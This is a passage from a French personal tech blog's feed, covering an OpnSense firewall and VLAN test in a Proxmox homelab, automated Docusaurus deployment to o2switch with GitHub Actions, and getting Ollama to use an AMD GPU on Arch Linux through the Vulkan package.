<p>Lors de l'installation, on vous demandera quelques éléments, notamment quelle interface est la <code>WAN</code>, la <code>LAN</code> etc... Puis une fois terminé, vous pourrez vous connecter.</p>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>Attention</div><div class="admonitionContent_BuS1"><p>Cependant cette installation est pour le moment une installation live</p></div></div>
<p>Pour installer OpnSense sur votre machine, il faut vous connecter en console / SSH avec l'identifiant : <code>installer</code> et le mot de passe : <code>opnsense</code>. Vous devriez alors arriver dans un shell interactif vous demandant quoi installer, sur quel média, quelle IP etc.</p>
<p>Lorsque tout est terminé, vous pourrez vous connecter sur l'interface web de votre machine.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="et-maintenant-">Et maintenant ?<a href="https://docs.bastienbonora.fr/blog/homelab-installationDuFirewall#et-maintenant-" class="hash-link" aria-label="Lien direct vers Et maintenant ?" title="Lien direct vers Et maintenant ?" translate="no">​</a></h2>
<p>Actuellement j'ai une question que je ne m'étais jamais posée : est-ce que le mode <code>vlan aware</code> permet à l'interface de voir n'importe quel Vlan ou alors uniquement ceux créés dans proxmox ?
<em>je répondrais instinvtivement qu'elle voit tout</em>
Actuellement j'ai une seule interface reliée à mon pare-feu qui est en vlan aware. Est-ce que si je créé les vlan dans le pare-feu ils seront balancés dans le bridge et sur les machines qui y sont connecté ?</p>
<blockquote>
<p>je me demande ça car ça conditionne s'il y a besoin de créer des vlan dans promxmox et de les ajouter en tant qu'interface dans le pare-feu ou alors si je peux tout créer dans OpnSense.</p>
</blockquote>
<p>Concrètement, il n'y a pas 50 manières de vérifier.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-test">Le test<a href="https://docs.bastienbonora.fr/blog/homelab-installationDuFirewall#le-test" class="hash-link" aria-label="Lien direct vers Le test" title="Lien direct vers Le test" translate="no">​</a></h3>
<p>On créé le vlan et l'interface vlan afin de tester ça.</p>
<p>Si jamais pour créer une interface vlan il faut :</p>
<ol>
<li class="">créer le vlan dans <code>Interfaces &gt; Devices &gt; Vlan</code> en choisissant son nom ainsi que l'interface sur laquelle il est (créer plusieurs vlan sur la même interface créé automatiquement un trunk)</li>
<li class="">Aller dans <code>interfaces &gt; assignments</code> choisir son Vlan puis l'ajouter</li>
<li class="">Aller dans <code>Interfaces &gt; [le nom de votre vlan]</code> et vous pourrez alors configurer votre vlan comme une interface à part entière</li>
</ol>
<p>Pour ma part, je part sur un vlan 10 en <code>10.10.10.254</code>.</p>
<hr>
<p>D'un autre côté, je mets le bridge dans une VM linux avec le bon vlan et fait un magnifique <code>ping 10.10.10.254</code>.</p>
<p>Côté pare-feu, il faut également autoriser le ping, par défaut ça ne fonctionne pas.</p>
<p>Et ducoup théorie vérifiée : les vlan déclarés dans OpnSense passent bien dans un bridge <code>vlan aware</code>. Je m'en doutais un peu, mais j'ai pu le vérifier assez rapidement.</p>
<p>Maintenant, il ne me restera plus qu'à configurer les différentes interfaces vlan en fonction du besoin et des VM que je fais. Le pare-feu est près. J'y reviendrais très certainement dessus par la suite sur les différentes solutions que je compte mettre en place.</p>]]></content>
        <author>
            <name>Bastien Bonora</name>
            <uri>https://bastienbonora.fr</uri>
        </author>
        <category label="informatique" term="informatique"/>
        <category label="open-source" term="open-source"/>
        <category label="Système" term="Système"/>
        <category label="Linux" term="Linux"/>
        <category label="lab" term="lab"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[mon Home-Lab]]></title>
        <id>https://docs.bastienbonora.fr/blog/monHomeLad</id>
        <link href="https://docs.bastienbonora.fr/blog/monHomeLad"/>
        <updated>2026-05-29T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Ça fait un petit bout de temps que je fais des articles sur tout et rien, que je teste des choses sur ce qui me passe sous la main ou que je vois dans ma vie professionnelle.]]></summary>
        <content type="html"><![CDATA[<p>Ça fait un petit bout de temps que je fais des articles sur tout et rien, que je teste des choses sur ce qui me passe sous la main ou que je vois dans ma vie professionnelle.</p>
<p>Mais je dois reconnaître qu'il me manque pas mal de chose lorsque j'ai besoin de tester des éléments concrets, que ça soit de l'authentification, des protocoles  ou autre, très souvent on a besoin d'avoir une petite infra personnelle.</p>
<p>Ducoup voilà ce que je vais faire : une petite infra pour tester tout un tas de truc. Et je me servirais de ça dans de futurs articles afin d'avoir des éléments plus complets.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="larchitecture-du-projet">L'architecture du projet<a href="https://docs.bastienbonora.fr/blog/monHomeLad#larchitecture-du-projet" class="hash-link" aria-label="Lien direct vers L'architecture du projet" title="Lien direct vers L'architecture du projet" translate="no">​</a></h2>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="objectifs-du-home-lab">Objectifs du Home-Lab<a href="https://docs.bastienbonora.fr/blog/monHomeLad#objectifs-du-home-lab" class="hash-link" aria-label="Lien direct vers Objectifs du Home-Lab" title="Lien direct vers Objectifs du Home-Lab" translate="no">​</a></h2>
<p>Ce lab a pour but de <strong>simuler un environnement de production miniature</strong> pour tout un tas de chose.</p>
<p>Aujourd'hui, je possède un vieu serveur DELL R620 avec 32Go de RAM, l'objectif n'est pas forcément de faire une infra complètement poussée, mais bon... Je vais utiliser ça pour les expériences que je ferais plus tard alors voilà l'objectif :</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="architecture-globale">Architecture globale<a href="https://docs.bastienbonora.fr/blog/monHomeLad#architecture-globale" class="hash-link" aria-label="Lien direct vers Architecture globale" title="Lien direct vers Architecture globale" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="schéma-densemble">Schéma d’ensemble<a href="https://docs.bastienbonora.fr/blog/monHomeLad#sch%C3%A9ma-densemble" class="hash-link" aria-label="Lien direct vers Schéma d’ensemble" title="Lien direct vers Schéma d’ensemble" translate="no">​</a></h3>
<!-- -->
<p>Comme j'ai pu l'expliquer dans un article précédent : <a class="" href="https://docs.bastienbonora.fr/blog/Les-Reseaux-Proxmox">Les réseaux proxmox</a>, je vais pouvoir mettre tout ça en pratique, et notamment mettre des interfaces vlan dans mon OpnSense.</p>
<p>Donc voilà l'objectif, je vais petit à petit faire ça dans des articles à venir. Quelques mots tout de même sur tout ça.</p>
<p>Déjà, comme vous vous en doutez, tout est sous Linux, que ça soit l'authentification, la rétention des logs, leur analyse. Grosso modo, ce que je veux réaliser c'est une infra certes simples mais utilisant les bonnes pratiques de l'informatique.</p>
<p>On se redit dans pas si longtemps pour le début de tout ça, expliquer l'interraction de chaque serveurs / service dans un seul article serait trop complexe à écrire et à lire alors flemme.</p>]]></content>
        <author>
            <name>Bastien Bonora</name>
            <uri>https://bastienbonora.fr</uri>
        </author>
        <category label="informatique" term="informatique"/>
        <category label="open-source" term="open-source"/>
        <category label="Système" term="Système"/>
        <category label="Linux" term="Linux"/>
        <category label="lab" term="lab"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Adieu le zip et le dézip, j'automatise mon Bastodoc]]></title>
        <id>https://docs.bastienbonora.fr/blog/deploiement-auto-docusaurus-o2switch</id>
        <link href="https://docs.bastienbonora.fr/blog/deploiement-auto-docusaurus-o2switch"/>
        <updated>2026-05-19T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Depuis que j'ai lancé Bastodoc, à chaque mise à jour je faisais toujours le même petit ballet : npm run build, je zippe le dossier build/, je glisse le zip dans le gestionnaire de fichiers de cPanel, je lance l'antivirus, j'attends qu'il finisse, je dézippe, je supprime l'ancien dossier, je copie le nouveau, j'efface le zip. À chaque fois. Pour chaque coquille corrigée. Pour chaque nouveau brouillon publié.]]></summary>
        <content type="html"><![CDATA[<p>Depuis que j'ai lancé Bastodoc, à chaque mise à jour je faisais toujours le même petit ballet : <code>npm run build</code>, je zippe le dossier <code>build/</code>, je glisse le zip dans le gestionnaire de fichiers de cPanel, je lance l'antivirus, j'attends qu'il finisse, je dézippe, je supprime l'ancien dossier, je copie le nouveau, j'efface le zip. À chaque fois. Pour chaque coquille corrigée. Pour chaque nouveau brouillon publié.</p>
<p>Au bout d'un moment, j'en ai eu marre. Surtout que je sais qu'on est en 2026 et qu'il existe des moyens raisonnables d'automatiser ce genre de chose. Voici comment je m'y suis pris, avec les bugs sympas rencontrés au passage.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-repérage">Le repérage<a href="https://docs.bastienbonora.fr/blog/deploiement-auto-docusaurus-o2switch#le-rep%C3%A9rage" class="hash-link" aria-label="Lien direct vers Le repérage" title="Lien direct vers Le repérage" translate="no">​</a></h2>
<p>Ma première idée a été l'outil <strong>Git Version Control</strong> intégré au cPanel d'o2switch. Sur le papier, ça paraît parfait : tu connectes ton dépôt GitHub, le serveur va chercher les nouvelles versions, ça déploie. Sauf qu'en pratique, il faut quand même <strong>cliquer manuellement</strong> sur "Update from Remote" puis "Deploy HEAD Commit" à chaque fois. On gagne sur le zip/dézip, mais on reste prisonnier de l'interface web. Pas terrible.</p>
<p>J'ai donc cherché plus loin et je suis tombé sur quelque chose que je n'attendais pas : <strong>o2switch utilise lui-même Docusaurus pour sa propre documentation, et leurs workflows GitHub Actions sont publics</strong>. Mieux : ils ont déployé récemment une <strong>API officielle</strong> pour gérer la whitelist SSH du firewall depuis l'extérieur, ce qui résout pile le problème que je redoutais.</p>
<p>C'est donc leur documentation officielle qui a fini par me permettre de terminer la mise en place de cette automatisation :</p>
<ul>
<li class=""><a href="https://faq.o2switch.fr/cpanel/outils/exception-parefeu/#exemple-de-d%C3%A9ploiement-de-docusaurus" target="_blank" rel="noopener noreferrer" class="">o2switch doc - Déploiement ci/cd de docusaurus</a></li>
</ul>
<div class="theme-admonition theme-admonition-info admonition_xJq3 alert alert--info"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"></path></svg></span>API expérimentale</div><div class="admonitionContent_BuS1"><p>Pour le moment l'API est en version expérimentale. Actuellement la création d'une API donne les même droit que notre utilisateur à cet API. Donc soyez prudent en l'utilisant.</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-vrai-problème--le-firewall">Le vrai problème : le firewall<a href="https://docs.bastienbonora.fr/blog/deploiement-auto-docusaurus-o2switch#le-vrai-probl%C3%A8me--le-firewall" class="hash-link" aria-label="Lien direct vers Le vrai problème : le firewall" title="Lien direct vers Le vrai problème : le firewall" translate="no">​</a></h2>
<p>Comme tous les hébergements mutualisés sérieux, o2switch bloque par défaut tout accès SSH. Pour s'y connecter, il faut <strong>autoriser son IP</strong> dans une liste blanche, limitée à 5 IPs simultanées. Mon IP perso à moi est stable, donc OK. Mais un runner GitHub Actions change d'IP à chaque exécution. Comment faire ?</p>
<p>L'API d'o2switch permet justement ça. À chaque démarrage du job, le runner :</p>
<ol>
<li class="">Demande à un service externe quelle est son IP publique</li>
<li class="">Appelle l'API d'o2switch avec un token pour s'ajouter à la whitelist</li>
<li class="">Fait son boulot (le <code>rsync</code> vers le serveur)</li>
<li class="">S'auto-retire de la whitelist à la fin</li>
</ol>
<p>C'est élégant, et c'est gratuit.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-construction">La construction<a href="https://docs.bastienbonora.fr/blog/deploiement-auto-docusaurus-o2switch#la-construction" class="hash-link" aria-label="Lien direct vers La construction" title="Lien direct vers La construction" translate="no">​</a></h2>
<p>L'architecture finale ressemble à ça :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">git push → GitHub Actions → npm build → whitelist IP → rsync SSH → site en ligne</span><br></div></code></pre></div></div>
<p>Le tout déclenché par un simple <code>git push origin main</code>. Je ne touche plus à rien. Pas de zip, pas de FileManager, pas d'antivirus. Et même mieux : je peux modifier un article directement dans l'interface web de GitHub depuis mon téléphone, ça redéploie tout seul.</p>
<p>Si vous voulez les détails techniques (workflow YAML complet, secrets à configurer, fichier <code>.cpanel.yml</code> non utilisé, etc.), j'ai écrit une <a class="" href="https://docs.bastienbonora.fr/docs/system/github/deploiement-automatique-github-o2switch">documentation détaillée</a> qui couvre la mise en place pas-à-pas.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-chausse-trapes">Les chausse-trapes<a href="https://docs.bastienbonora.fr/blog/deploiement-auto-docusaurus-o2switch#les-chausse-trapes" class="hash-link" aria-label="Lien direct vers Les chausse-trapes" title="Lien direct vers Les chausse-trapes" translate="no">​</a></h2>
<p>Évidemment, ce n'est jamais aussi lisse que prévu. Voici ce sur quoi j'ai bloqué.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="loutil-autorisation-ssh-buggé">L'outil "Autorisation SSH" buggé<a href="https://docs.bastienbonora.fr/blog/deploiement-auto-docusaurus-o2switch#loutil-autorisation-ssh-bugg%C3%A9" class="hash-link" aria-label="Lien direct vers L'outil &quot;Autorisation SSH&quot; buggé" title="Lien direct vers L'outil &quot;Autorisation SSH&quot; buggé" translate="no">​</a></h3>
<p>Quand j'ai voulu tester ma première connexion SSH manuelle depuis mon poste, j'ai passé pas mal de temps à comprendre pourquoi j'avais un timeout. Dans l'interface o2switch, l'outil "Autorisation SSH" propose un menu déroulant avec plusieurs ports (22, 8888, et d'autres). Naïvement, j'avais choisi 8888 en me disant que ce devait être un port plus "moderne" pour SSH.</p>
<p>Spoiler : <strong>seul le 22 fonctionne</strong>. Le menu propose des ports que le firewall ne route pas, c'est cassé. Et au passage, sur 8888 j'avais une règle créée uniquement en sortie, donc même en supposant que ça aurait pu marcher, ça n'aurait pas marché. J'ai perdu une bonne heure à comprendre, en l'occurrence en discutant avec Claude qui m'a sorti la doc officielle d'o2switch confirmant que seul le 22 est ouvrable.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-perte-du-htaccess">La perte du <code>.htaccess</code><a href="https://docs.bastienbonora.fr/blog/deploiement-auto-docusaurus-o2switch#la-perte-du-htaccess" class="hash-link" aria-label="Lien direct vers la-perte-du-htaccess" title="Lien direct vers la-perte-du-htaccess" translate="no">​</a></h3>
<p>Premier déploiement automatique réussi. Champagne. Je vais voir le site... et j'ai une erreur. Le <code>rsync --delete</code> a fait son boulot un peu trop bien : il a supprimé mon <code>.htaccess</code> et tout le dossier <code>.well-known/acme-challenge</code> utilisé par Let's Encrypt pour renouveler mon certificat SSL.</p>
<p>Heureusement, mon <code>.htaccess</code> ne contenait rien de critique (juste une page 404 custom que j'avais oublié de garder). Mais ça aurait pu être beaucoup plus pénible. Solution : ajouter des <code>--exclude</code> dans la commande <code>rsync</code> pour préserver explicitement ces fichiers.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="lip-qui-ne-se-retirait-pas">L'IP qui ne se retirait pas<a href="https://docs.bastienbonora.fr/blog/deploiement-auto-docusaurus-o2switch#lip-qui-ne-se-retirait-pas" class="hash-link" aria-label="Lien direct vers L'IP qui ne se retirait pas" title="Lien direct vers L'IP qui ne se retirait pas" translate="no">​</a></h3>
<p>Dernier détail amusant : la commande pour retirer une IP de la whitelist ne fonctionnait pas, avec un message d'erreur sec : "Suppression impossible, l'autorisation n'existe pas". L'astuce, à peine documentée, est qu'il faut préciser la <strong>direction</strong> (<code>in</code> ou <code>out</code>) dans la requête. L'API accepte sans broncher quand on ajoute une règle, mais pour la retirer il faut être plus précis.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-résultat">Le résultat<a href="https://docs.bastienbonora.fr/blog/deploiement-auto-docusaurus-o2switch#le-r%C3%A9sultat" class="hash-link" aria-label="Lien direct vers Le résultat" title="Lien direct vers Le résultat" translate="no">​</a></h2>
<p>Le workflow complet tourne en 2 à 3 minutes par déploiement. Pour comparaison, mon ancien zip/dézip me prenait entre 5 et 10 minutes selon l'humeur de l'antivirus. Et désormais je peux pousser une correction depuis n'importe où, depuis n'importe quel appareil, sans avoir à installer Node, sans avoir à me souvenir de la procédure.</p>
<p>C'est typiquement le genre de chose qu'on remet pendant des mois en se disant "ouais, faudra que je m'y mette". Et quand on s'y met enfin, on se demande pourquoi on a attendu si longtemps.</p>
<p>Si vous êtes chez o2switch et que vous gérez un site statique (Docusaurus, Hugo, Astro, peu importe), la procédure est transposable telle quelle. La <a class="" href="https://docs.bastienbonora.fr/docs/system/github/deploiement-automatique-github-o2switch">doc technique</a> couvre tout ce qu'il faut.</p>]]></content>
        <author>
            <name>Bastien Bonora</name>
            <uri>https://bastienbonora.fr</uri>
        </author>
        <category label="ci-cd" term="ci-cd"/>
        <category label="github-actions" term="github-actions"/>
        <category label="docusaurus" term="docusaurus"/>
        <category label="o2switch" term="o2switch"/>
        <category label="devops" term="devops"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Faire tourner Ollama sur GPU AMD sous Arch Linux]]></title>
        <id>https://docs.bastienbonora.fr/blog/ollama-gpu-amd-arch-linux</id>
        <link href="https://docs.bastienbonora.fr/blog/ollama-gpu-amd-arch-linux"/>
        <updated>2026-05-16T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Après une réinstallation fraîche d'Arch, je relance Ollama pour discuter avec mon LLM local préféré… et le constat est sans appel : 100% CPU, 0% GPU. Pourtant, j'ai sous le capot une Radeon RX 6800M (12 Go de VRAM, Navi 22) qui ne demande qu'à mouliner des matrices. Petite session de débogage qui m'a permis de comprendre un peu mieux les coulisses des backends de calcul GPU sous Linux.]]></summary>
        <content type="html"><![CDATA[<p>Après une réinstallation fraîche d'Arch, je relance Ollama pour discuter avec mon LLM local préféré… et le constat est sans appel : 100% CPU, 0% GPU. Pourtant, j'ai sous le capot une Radeon RX 6800M (12 Go de VRAM, Navi 22) qui ne demande qu'à mouliner des matrices. Petite session de débogage qui m'a permis de comprendre un peu mieux les coulisses des backends de calcul GPU sous Linux.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-symptôme">Le symptôme<a href="https://docs.bastienbonora.fr/blog/ollama-gpu-amd-arch-linux#le-sympt%C3%B4me" class="hash-link" aria-label="Lien direct vers Le symptôme" title="Lien direct vers Le symptôme" translate="no">​</a></h2>
<p>Au lancement d'<code>ollama serve</code>, les lignes intéressantes du log sont les suivantes :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">inference compute" id=cpu library=cpu ... total="30.5 GiB" available="13.2 GiB"</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">"vram-based default context" total_vram="0 B" default_num_ctx=4096</span><br></div></code></pre></div></div>
<p>Traduction : Ollama n'a découvert que la bibliothèque <code>cpu</code>, et annonce <strong>0 octet de VRAM disponible</strong>. Il ne voit aucun GPU compatible compute, alors que côté graphique tout marche très bien (Wayland tourne, les jeux Vulkan se lancent, etc.). Ce divergence "le GPU rend de l'image mais Ollama ne le voit pas" est en fait un grand classique, et il faut comprendre pourquoi pour le résoudre proprement.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="gpu--le-rendu-graphique-et-le-calcul-ce-sont-deux-mondes">GPU : le rendu graphique et le calcul, ce sont deux mondes<a href="https://docs.bastienbonora.fr/blog/ollama-gpu-amd-arch-linux#gpu--le-rendu-graphique-et-le-calcul-ce-sont-deux-mondes" class="hash-link" aria-label="Lien direct vers GPU : le rendu graphique et le calcul, ce sont deux mondes" title="Lien direct vers GPU : le rendu graphique et le calcul, ce sont deux mondes" translate="no">​</a></h2>
<p>Quand un GPU est attaché à un système Linux, deux stacks logicielles <strong>complètement distinctes</strong> s'empilent au-dessus du même hardware :</p>
<p><strong>Côté rendu graphique (ce qui affiche les pixels)</strong></p>
<ul>
<li class="">Le module kernel <code>amdgpu</code> (le driver Linux open-source pour les GPU AMD modernes).</li>
<li class="">Mesa, qui implémente OpenGL et Vulkan <strong>côté rendu</strong> (RADV pour Vulkan AMD, RadeonSI pour OpenGL).</li>
<li class="">C'est ce qui fait tourner ton compositor, tes jeux, ton navigateur accéléré, etc.</li>
</ul>
<p><strong>Côté calcul (ce qui fait tourner un LLM ou un entraînement ML)</strong></p>
<ul>
<li class="">Le même module kernel <code>amdgpu</code> (heureusement, il n'y en a qu'un).</li>
<li class="">Mais une stack logicielle séparée pour le compute : <strong>ROCm/HIP</strong> (l'équivalent AMD de CUDA), ou bien <strong>Vulkan compute</strong> (l'API graphique détournée pour faire du calcul générique).</li>
</ul>
<p>C'est crucial : avoir Mesa + RADV installés et fonctionnels (donc des jeux qui tournent) ne suffit <strong>pas</strong> pour qu'un soft comme Ollama, PyTorch ou llama.cpp puisse utiliser le GPU. Il faut en plus une stack compute, et c'est exactement ce qui me manquait.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="rocm-ou-vulkan--choisir-son-backend">ROCm ou Vulkan : choisir son backend<a href="https://docs.bastienbonora.fr/blog/ollama-gpu-amd-arch-linux#rocm-ou-vulkan--choisir-son-backend" class="hash-link" aria-label="Lien direct vers ROCm ou Vulkan : choisir son backend" title="Lien direct vers ROCm ou Vulkan : choisir son backend" translate="no">​</a></h2>
<p>Pour le compute AMD, deux options réelles existent aujourd'hui :</p>
<table><thead><tr><th>Backend</th><th>Origine</th><th>Avantages</th><th>Limitations</th></tr></thead><tbody><tr><td><strong>ROCm / HIP</strong></td><td>Stack officielle AMD, équivalent de CUDA</td><td>Performance optimale, kernels spécifiquement optimisés</td><td>Liste de GPU supportés limitée, paquets lourds, parfois besoin de hacks (<code>HSA_OVERRIDE_GFX_VERSION</code>)</td></tr><tr><td><strong>Vulkan compute</strong></td><td>API graphique standard, support compute ajouté à llama.cpp puis Ollama</td><td>Très large compatibilité, paquets légers, déjà présent si tu joues</td><td>Marqué expérimental dans Ollama, perfs parfois 5-10% en deçà selon les modèles</td></tr></tbody></table>
<p>Mon GPU étant une Radeon RX 6800M (LLVM target <code>gfx1031</code>), il n'est pas dans la matrice officielle ROCm. La solution côté ROCm consisterait à le faire passer pour un <code>gfx1030</code> (RX 6800/6900 desktop) via <code>HSA_OVERRIDE_GFX_VERSION=10.3.0</code>. Ça marche en pratique, mais c'est un hack documenté qu'il faut maintenir.</p>
<p>Côté Vulkan, j'ai déjà toute la stack installée pour le jeu (<code>vulkan-radeon</code>, <code>vulkan-icd-loader</code>). Aucun override à gérer. C'est la voie la plus simple, c'est celle que j'ai choisie.</p>
<div class="theme-admonition theme-admonition-info admonition_xJq3 alert alert--info"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"></path></svg></span>Performance ROCm vs Vulkan</div><div class="admonitionContent_BuS1"><p>On pourrait croire que ROCm écrase Vulkan en perf, mais ce n'est pas si tranché. Des benchmarks récents (Radeon 890M, Ollama 0.13.5) montrent Vulkan <strong>devant</strong> ROCm de quelques pourcents sur certains modèles. Pour un usage personnel "j'ai besoin que mon LLM tourne vite", Vulkan est largement suffisant.</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-piège-du-paquet-arch">Le piège du paquet Arch<a href="https://docs.bastienbonora.fr/blog/ollama-gpu-amd-arch-linux#le-pi%C3%A8ge-du-paquet-arch" class="hash-link" aria-label="Lien direct vers Le piège du paquet Arch" title="Lien direct vers Le piège du paquet Arch" translate="no">​</a></h2>
<p>C'est LE point qui m'a fait perdre le plus de temps. Sur Arch, le dépôt <code>extra</code> propose plusieurs paquets construits depuis le même code source d'Ollama :</p>
<table><thead><tr><th>Paquet</th><th>Backend(s) compilé(s) dans le binaire</th></tr></thead><tbody><tr><td><code>ollama</code></td><td><strong>CPU uniquement</strong></td></tr><tr><td><code>ollama-rocm</code></td><td>ROCm/HIP (AMD)</td></tr><tr><td><code>ollama-cuda</code></td><td>CUDA (NVIDIA)</td></tr><tr><td><code>ollama-vulkan</code></td><td>Vulkan</td></tr></tbody></table>
<p>Cette séparation date d'octobre 2025, quand Ollama 0.12.6 a introduit le backend Vulkan upstream. Avant, il n'y avait que <code>ollama</code> + <code>ollama-rocm</code> + <code>ollama-cuda</code>.</p>
<p>Le piège, c'est que si tu fais un naïf <code>sudo pacman -S ollama</code>, tu récupères le binaire <strong>CPU-only</strong>. Et pire, ce binaire <strong>reconnaît quand même</strong> les variables d'environnement comme <code>OLLAMA_VULKAN</code> et <code>ROCR_VISIBLE_DEVICES</code> (le code Go les lit toujours pour configurer le runtime). Donc tu peux légitimement croire que tu as bien configuré ton environnement, voir les variables apparaître dans les logs… sans que rien ne se passe, parce que les bibliothèques compute ne sont pas linkées dans <strong>ce</strong> binaire.</p>
<p>C'est exactement ce qui m'arrivait :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">OLLAMA_VULKAN:false           # même si j'exporte =1, ça reste false</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">ROCR_VISIBLE_DEVICES:         # paramètre lu mais inerte</span><br></div></code></pre></div></div>
<p><strong>La solution se résume à un seul changement de paquet :</strong></p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> pacman </span><span class="token parameter variable" style="color:#36acaa">-S</span><span class="token plain"> ollama-vulkan</span><br></div></code></pre></div></div>
<p>Pacman propose le remplacement automatique de <code>ollama</code> par <code>ollama-vulkan</code> (ils sont déclarés en conflit mutuel dans les PKGBUILDs). Les modèles déjà téléchargés dans <code>/var/lib/ollama</code> (ou <code>~/.ollama/models</code> selon ton setup) ne sont <strong>pas</strong> touchés — c'est de la donnée, séparée du binaire.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-configuration-via-drop-in-systemd">La configuration via drop-in systemd<a href="https://docs.bastienbonora.fr/blog/ollama-gpu-amd-arch-linux#la-configuration-via-drop-in-systemd" class="hash-link" aria-label="Lien direct vers La configuration via drop-in systemd" title="Lien direct vers La configuration via drop-in systemd" translate="no">​</a></h2>
<p>Sur Arch, <code>ollama</code> s'installe avec une unité systemd, donc on lance le service via systemd plutôt qu'en <code>ollama serve</code> à la main. Pour ajouter des variables d'environnement à un service système, <strong>on n'édite pas l'unité d'origine</strong> (elle serait écrasée à chaque mise à jour du paquet). On utilise un <strong>drop-in</strong> :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> systemctl edit ollama.service</span><br></div></code></pre></div></div>
<p>Cette commande ouvre un éditeur sur un fichier vide, qui sera enregistré sous <code>/etc/systemd/system/ollama.service.d/override.conf</code>. On y met :</p>
<div class="language-ini codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-ini codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token section punctuation" style="color:#393A34">[</span><span class="token section section-name selector" style="color:#00009f">Service</span><span class="token section punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token key attr-name" style="color:#00a4db">Environment</span><span class="token punctuation" style="color:#393A34">=</span><span class="token value attr-value" style="color:#e3116c">"</span><span class="token value attr-value inner-value" style="color:#e3116c">OLLAMA_VULKAN=1</span><span class="token value 